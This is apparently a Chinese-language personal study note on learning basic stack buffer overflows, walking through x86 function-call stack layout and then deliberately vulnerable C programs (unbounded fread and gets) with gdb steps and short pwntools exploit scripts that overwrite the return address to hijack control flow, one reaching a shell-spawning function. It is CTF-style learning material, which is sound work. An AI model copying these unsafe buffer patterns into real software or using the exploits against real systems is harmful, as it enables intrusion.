zoukankan      html  css  js  c++  java
  • 栈溢出笔记-第一天

    1、最简单函数调用栈图如下(vc++6.0编译出的汇编代码):
    Alt text
    Alt text
    Alt text
    Alt text
    Alt text

    push 2,push 1将俩个参数压栈,
    call 0040100A :将eip要执行的下一条指令入栈,在执行jmp 0040100A
    push ebp :ebp入栈,保留调用前的栈底
    mov ebp,esp 提升堆栈
    sub ESP,40 提升堆栈
    push ebx ; push esi;push edi 保留现场
    mov ecx,0x10 下面4条是填充缓冲区
    mov eax,0xcccccccc
    lea edi,dword prtf ds:[ebp-0x40]
    rep stosd
    再往下就是调用函数过程,一般将函数的返回值放到eax寄存器中,这里就不写了
    pop edi 恢复现场
    pop esi
    pop ebx
    mov esp,ebp 下面两条相当于执行leave指令:降低堆栈
    pop ebp
    ret pop eip //相当于eip:401171也就是当初call入栈的地址,实际栈溢出相当于,一个函数没控制缓存区的大小,相当于一个局部变量把CCCCCCC填充的缓存区都覆盖满了,并且把ebp及ebp+4也就是函数返回地址也给覆盖,在执行ret 时=>pop eip,eip=ebp+4,达到控制程序执行流程
    最后为了堆栈平衡,会 esp+8,想当于把俩个参数退出堆栈。
    Alt text

    2、gcc编译出来的函数调用栈如下
    Alt text
    汇编代码
    Alt text
    跟vc++ 6.0编译器比,相当于少了保留ebx,esi,edi寄存器的值,和填充缓存区CCCCCCCCC的动作
    Alt text
    最后差别也是用leave执行和ret结束,eax保存运算的结果。
    Alt text
    3、多层函数嵌套
    Alt text
    4、最后栈溢出的demo

    
    #include <stdio.h>
    #include <stdlib.h>
    
    void vul()
    {
      char buf[64] = {0};
      FILE *fp = NULL;
      
      if(!(fp=fopen("input.txt","r")))
      {
            perror("fopen");
            exit(-1);
      }
      fread(buf,1024,1,fp);
      printf("data:%s
    ",buf);
    }
    void test()
    {
            printf("contronl this data flow!!!
    ");
    }
    int main()
    {
            vul();
            return 0;
    }
    

    目的是为了溢出执行test函数,1、首先确定缓冲区溢出大小,IDA查看4ch,
    Alt text
    在ida查看test函数地址
    Alt text
    或者gdb找test函数地址
    Alt text
    最终exp如下:
    Alt text
    堆栈图如下,在执行ret时,会pop eip,此时esp指向test函数地址,就会执行test函数,劫持数据流。
    Alt text
    在ret前下断点,查看栈顶存放的是0x80485a2也就是test函数的首地址
    Alt text

    gdb StackOverflow3
    b vul
    r
    disassemble
    b fread
    c
    finish
    p &buff
    x /10wx &buf
    b *0x080485a1
    

    在函数的ret函数下断,执行完ret=> pop eip ,eip会赋值为0x80485a2也就是test函数地址。
    Alt text
    这时候数据流就来到了test函数
    Alt text
    最终效果就是这样:
    Alt text
    如果正常执行的顺序,在执行到ret后,eip会为0x80485d1,继续向下执行:
    Alt text
    5、在看另一个栈溢出的demo

    #include <stdio.h>
    #include <string.h>
    void success() { puts("You Hava already controlled it."); }
    void vulnerable() {
      char s[12];
      gets(s);
      puts(s);
      return;
    }
    int main(int argc, char **argv) {
      vulnerable();
      return 0;
    }
    

    确定缓冲区大小:
    Alt text
    确定success地址:
    Alt text
    编写Poc,attach的位置是在ret函数地址:

    import pwn
    pwn.context.log_level = 'DEBUG'
    pwn.context.terminal = ['tmux','splitw','-h']
    t = pwn.process('./StackOverflow1')
    pwn.gdb.attach(t, "b * 0x0804847a")
    t.sendline('a'*20+'bbbb'+pwn.p32(0x0804843B))
    t.interactive()
    

    在pwndbg中查看断点。
    Alt text
    c继续执行。
    Alt text
    当执行,ret=>pop eip=>eip就为success地址,下一步就是执行success函数。
    Alt text

    上面就是pwntools结合pwndbg调试下断的demo,后面可能总会用到
    上面俩个demo比较简单,填充数据的大小实际,就是找在执行危险函数前,s相对于ebp的大小,上面俩个例子是能直接从IDA找到,下面看这个demo。
    Alt text
    这里是相对esp地址,所以要在gets函数下断。算出esp=0xffffd520,ebp=0xffffd5a8, s 相对于 esp 的索引为[esp+80h-64h]= [esp+0x1c],所以s的地址为 0xffffd53c,s相对ebp偏移是6c=108+"bbbb"
    Alt text
    下面就是寻找系统调用函数。在IDA中搜索(alt+T)可以利用来的系统sh调用函数
    Alt text
    exp:

    from pwn import *
    pwn1 = process('./pwn1')
    target = 0x804863a
    pwn1.sendline('A' * (108)+'bbbb' + p32(target))
    pwn1.interactive()
    

    明天学习计划:ret2libc及rop,ELF文件结构
    栈溢出保护canary保护,CTF-wiki理解有点困难,还有格式化字符串漏洞,需要手调一下这个链接内容:https://bbs.pediy.com/thread-229447-1.htm
    https://bbs.pediy.com/thread-229447-1.htm
    主要看的文章:https://www.freebuf.com/news/182894.html
    https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop-zh/#ret2libc
    https://bbs.pediy.com/thread-248682.htm

  • 相关阅读:
    完全二分图生成树计数
    [luogu 1880]石子合并
    [vijos 1770]大内密探
    母函数入门笔记(施工中…
    【补】20160816训练记录
    20160819训练记录
    20160817训练记录
    POJ 2228 naptime
    POJ 3585 Accumulation Degree
    POJ 2182 Lost Cows
  • 原文地址:https://www.cnblogs.com/afanti/p/12632855.html
Copyright © 2011-2022 走看看